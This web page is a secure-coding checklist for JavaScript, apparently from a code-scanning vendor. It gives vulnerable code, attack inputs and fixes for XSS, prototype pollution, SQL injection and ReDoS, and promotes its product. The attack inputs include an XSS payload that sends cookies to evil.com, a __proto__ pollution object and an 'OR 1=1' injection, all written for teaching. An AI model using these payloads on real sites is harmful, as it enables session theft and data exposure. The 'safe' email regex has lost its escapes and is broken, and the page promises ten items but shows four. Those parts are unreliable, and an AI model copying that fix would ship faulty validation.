JavaScript Security Checklist — 10 Vulnerabilities to Check
A practical security checklist for JavaScript code: the 10 most exploitable vulnerabilities in Node.js and browser JavaScript, with vulnerable examples, exploit scenarios, and secure fixes.
What is JavaScript security?
JavaScript runs in browsers, servers (Node.js), mobile apps, and serverless functions. Its ubiquity makes it the most targeted language for web attacks. The good news: most JavaScript vulnerabilities follow known patterns and can be detected automatically.
XSS — Cross-Site Scripting
Most common JavaScript vulnerability. User input rendered as HTML allows script injection.
❌ innerHTML with user input
const query = new URLSearchParams(location.search).get('q');
document.querySelector('#results').innerHTML =
'<h2>Results for: ' + query + '</h2>';
// Attacker: ?q=<script>fetch('https://evil.com?c='+document.cookie)</script>✅ textContent + DOMPurify
const query = new URLSearchParams(location.search).get('q');
const heading = document.createElement('h2');
heading.textContent = 'Results for: ' + query; // textContent is always safe
document.querySelector('#results').appendChild(heading);
// For rich HTML: DOMPurify.sanitize(userHtml)Prototype Pollution
Merging user-controlled objects can pollute Object.prototype, affecting all objects globally.
❌ Recursive merge with user input
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key]; // Attacker sends __proto__
}
}
}
// Input: {"__proto__": {"isAdmin": true}}
// Effect: ALL objects get isAdmin = true✅ Block prototype keys
function safeMerge(target, source) {
for (const key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Block pollution
}
target[key] = source[key];
}
}
// Or use: Object.assign({}, source) — doesn't copy prototype chainSQL Injection in Node.js
Node.js apps using template literals in SQL queries are vulnerable to injection.
❌ Template literal in query
const userId = req.params.id;
const user = await db.query(`SELECT * FROM users WHERE id = ${userId}`);
// GET /users/1 OR 1=1 → dumps all users✅ Parameterized with ?
const userId = req.params.id;
const [user] = await db.execute('SELECT * FROM users WHERE id = ?', [userId]);
// Or with pg: db.query('SELECT * FROM users WHERE id = $1', [userId])ReDoS — Regular Expression DoS
Catastrophic backtracking in regex with user input can freeze Node.js for seconds or minutes.
❌ Catastrophic backtracking regex
// Vulnerable: exponential backtracking on crafted input
const emailRegex = /^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;
// Input: "aaaaaaaaaaaaaaaaaaa@" → hangs for 10+ seconds✅ Simple, bounded regex
// Simple email validation that doesn't backtrack const emailRegex = /^[^s@]+@[^s@]+.[^s@]+$/; // Or use a library: validator.isEmail(input) // Or limit input length: if (input.length > 254) return false
Pro tip: Run LearnCodeGuide before every JavaScript PR merge. It specifically checks for XSS (innerHTML, dangerouslySetInnerHTML), prototype pollution (key checks in merge functions), SQL injection (template literals in queries), and ReDoS (complex regex patterns on user input).
Scan Your JavaScript for Security Issues
Paste your code — LearnCodeGuide detects all these issues automatically using GPT-4o + Claude Sonnet. Free to start.
Analyze JavaScript Code →Related Guides
Published by LearnCodeGuide Team · Last reviewed: November 2025